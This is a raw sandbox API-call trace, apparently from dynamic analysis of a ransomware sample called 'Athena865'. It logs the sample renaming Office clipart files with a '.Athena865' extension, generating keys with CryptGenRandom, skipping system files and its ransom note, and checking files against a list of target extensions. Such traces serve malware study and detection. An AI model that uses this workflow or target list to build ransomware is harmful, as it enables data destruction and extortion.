lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02041_.WMF" | out: lpString1="NA02041_.WMF") returned="NA02041_.WMF" [0132.068] lstrlenW (lpString="NA02041_.WMF") returned 12 [0132.068] lstrlenW (lpString="Athena865") returned 9 [0132.068] lstrcmpiW (lpString1="2041_.WMF", lpString2="Athena865") returned -1 [0132.068] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.Athena865") returned 73 [0132.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.071] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2328) returned 1 [0132.071] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.072] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.072] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.075] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.076] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.076] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.076] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02066_.WMF" | out: lpString1="NA02066_.WMF") returned="NA02066_.WMF" [0132.076] lstrlenW (lpString="NA02066_.WMF") returned 12 [0132.076] lstrlenW (lpString="Athena865") returned 9 [0132.076] lstrcmpiW (lpString1="2066_.WMF", lpString2="Athena865") returned -1 [0132.076] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.Athena865") returned 73 [0132.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.079] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1084) returned 1 [0132.079] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.080] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.080] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.082] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.083] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.083] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.083] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02091_.WMF" | out: lpString1="NA02091_.WMF") returned="NA02091_.WMF" [0132.083] lstrlenW (lpString="NA02091_.WMF") returned 12 [0132.083] lstrlenW (lpString="Athena865") returned 9 [0132.083] lstrcmpiW (lpString1="2091_.WMF", lpString2="Athena865") returned -1 [0132.083] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.Athena865") returned 73 [0132.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.086] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1140) returned 1 [0132.086] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.086] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.086] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.090] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.091] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.091] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.091] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02092_.WMF" | out: lpString1="NA02092_.WMF") returned="NA02092_.WMF" [0132.091] lstrlenW (lpString="NA02092_.WMF") returned 12 [0132.091] lstrlenW (lpString="Athena865") returned 9 [0132.091] lstrcmpiW (lpString1="2092_.WMF", lpString2="Athena865") returned -1 [0132.092] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.Athena865") returned 73 [0132.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.093] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1644) returned 1 [0132.093] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.094] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.094] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.096] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.096] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.096] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.097] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02093_.WMF" | out: lpString1="NA02093_.WMF") returned="NA02093_.WMF" [0132.097] lstrlenW (lpString="NA02093_.WMF") returned 12 [0132.097] lstrlenW (lpString="Athena865") returned 9 [0132.097] lstrcmpiW (lpString1="2093_.WMF", lpString2="Athena865") returned -1 [0132.097] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.Athena865") returned 73 [0132.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.100] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=672) returned 1 [0132.100] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.101] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.101] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.104] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.104] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.105] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.105] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02124_.WMF" | out: lpString1="NA02124_.WMF") returned="NA02124_.WMF" [0132.105] lstrlenW (lpString="NA02124_.WMF") returned 12 [0132.105] lstrlenW (lpString="Athena865") returned 9 [0132.105] lstrcmpiW (lpString1="2124_.WMF", lpString2="Athena865") returned -1 [0132.105] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.Athena865") returned 73 [0132.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.106] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8168) returned 1 [0132.107] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.107] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.107] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.109] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.110] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.110] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.111] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02125_.WMF" | out: lpString1="NA02125_.WMF") returned="NA02125_.WMF" [0132.111] lstrlenW (lpString="NA02125_.WMF") returned 12 [0132.111] lstrlenW (lpString="Athena865") returned 9 [0132.111] lstrcmpiW (lpString1="2125_.WMF", lpString2="Athena865") returned -1 [0132.111] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.Athena865") returned 73 [0132.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.115] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18454) returned 1 [0132.115] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.116] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.116] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.120] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.120] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.120] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.121] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02126_.WMF" | out: lpString1="NA02126_.WMF") returned="NA02126_.WMF" [0132.121] lstrlenW (lpString="NA02126_.WMF") returned 12 [0132.121] lstrlenW (lpString="Athena865") returned 9 [0132.121] lstrcmpiW (lpString1="2126_.WMF", lpString2="Athena865") returned -1 [0132.121] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.Athena865") returned 73 [0132.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.123] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31824) returned 1 [0132.123] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.123] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.123] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.133] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.133] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.133] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.134] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02127_.WMF" | out: lpString1="NA02127_.WMF") returned="NA02127_.WMF" [0132.134] lstrlenW (lpString="NA02127_.WMF") returned 12 [0132.134] lstrlenW (lpString="Athena865") returned 9 [0132.134] lstrcmpiW (lpString1="2127_.WMF", lpString2="Athena865") returned -1 [0132.134] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.Athena865") returned 73 [0132.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.137] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4068) returned 1 [0132.137] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.137] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.137] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.140] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.141] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.141] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.141] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02262_.WMF" | out: lpString1="NA02262_.WMF") returned="NA02262_.WMF" [0132.141] lstrlenW (lpString="NA02262_.WMF") returned 12 [0132.141] lstrlenW (lpString="Athena865") returned 9 [0132.141] lstrcmpiW (lpString1="2262_.WMF", lpString2="Athena865") returned -1 [0132.141] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.Athena865") returned 73 [0132.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.143] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3328) returned 1 [0132.143] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.144] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.144] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.146] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.149] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.150] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.151] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.151] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.152] lstrcmpiW (lpString1="NA02264_.WMF", lpString2=".") returned 1 [0132.152] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="..") returned 1 [0132.152] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="windows") returned -1 [0132.152] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="bootmgr") returned 1 [0132.152] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="temp") returned -1 [0132.152] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="pagefile.sys") returned -1 [0132.152] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="boot") returned 1 [0132.153] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="ids.txt") returned 1 [0132.153] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="ntuser.dat") returned -1 [0132.153] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="perflogs") returned -1 [0132.153] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="MSBuild") returned 1 [0132.153] lstrlenW (lpString="NA02264_.WMF") returned 12 [0132.154] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02264_.WMF" | out: lpString1="NA02264_.WMF") returned="NA02264_.WMF" [0132.154] lstrlenW (lpString="NA02264_.WMF") returned 12 [0132.154] lstrlenW (lpString="Athena865") returned 9 [0132.154] lstrcmpiW (lpString1="2264_.WMF", lpString2="Athena865") returned -1 [0132.154] lstrcmpiW (lpString1="NA02264_.WMF", lpString2=".dll") returned 1 [0132.154] lstrcmpiW (lpString1="NA02264_.WMF", lpString2=".lnk") returned 1 [0132.156] lstrcmpiW (lpString1="NA02264_.WMF", lpString2=".ini") returned 1 [0132.156] lstrcmpiW (lpString1="NA02264_.WMF", lpString2=".sys") returned 1 [0132.156] lstrlenW (lpString="NA02264_.WMF") returned 12 [0132.156] lstrlenW (lpString="bak") returned 3 [0132.156] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.156] lstrlenW (lpString="ba_") returned 3 [0132.156] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.156] lstrlenW (lpString="dbb") returned 3 [0132.156] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.156] lstrlenW (lpString="vmdk") returned 4 [0132.156] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.156] lstrlenW (lpString="rar") returned 3 [0132.156] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.156] lstrlenW (lpString="zip") returned 3 [0132.156] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.156] lstrlenW (lpString="tgz") returned 3 [0132.156] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.156] lstrlenW (lpString="vbox") returned 4 [0132.156] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.156] lstrlenW (lpString="vdi") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.157] lstrlenW (lpString="vhd") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.157] lstrlenW (lpString="vhdx") returned 4 [0132.157] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.157] lstrlenW (lpString="avhd") returned 4 [0132.157] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.157] lstrlenW (lpString="db") returned 2 [0132.157] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.157] lstrlenW (lpString="db2") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.157] lstrlenW (lpString="db3") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.157] lstrlenW (lpString="dbf") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.157] lstrlenW (lpString="mdf") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.157] lstrlenW (lpString="mdb") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.157] lstrlenW (lpString="sql") returned 3 [0132.157] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.157] lstrlenW (lpString="sqlite") returned 6 [0132.157] lstrcmpiW (lpString1="4_.WMF", lpString2="sqlite") returned -1 [0132.157] lstrlenW (lpString="sqlite3") returned 7 [0132.157] lstrcmpiW (lpString1="64_.WMF", lpString2="sqlite3") returned -1 [0132.157] lstrlenW (lpString="sqlitedb") returned 8 [0132.157] lstrcmpiW (lpString1="264_.WMF", lpString2="sqlitedb") returned -1 [0132.158] lstrlenW (lpString="xml") returned 3 [0132.158] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.158] lstrlenW (lpString="$er") returned 3 [0132.158] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.158] lstrlenW (lpString="4dd") returned 3 [0132.158] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.158] lstrlenW (lpString="4dl") returned 3 [0132.158] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.158] lstrlenW (lpString="^^^") returned 3 [0132.158] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.158] lstrlenW (lpString="abs") returned 3 [0132.158] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.158] lstrlenW (lpString="abx") returned 3 [0132.158] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.158] 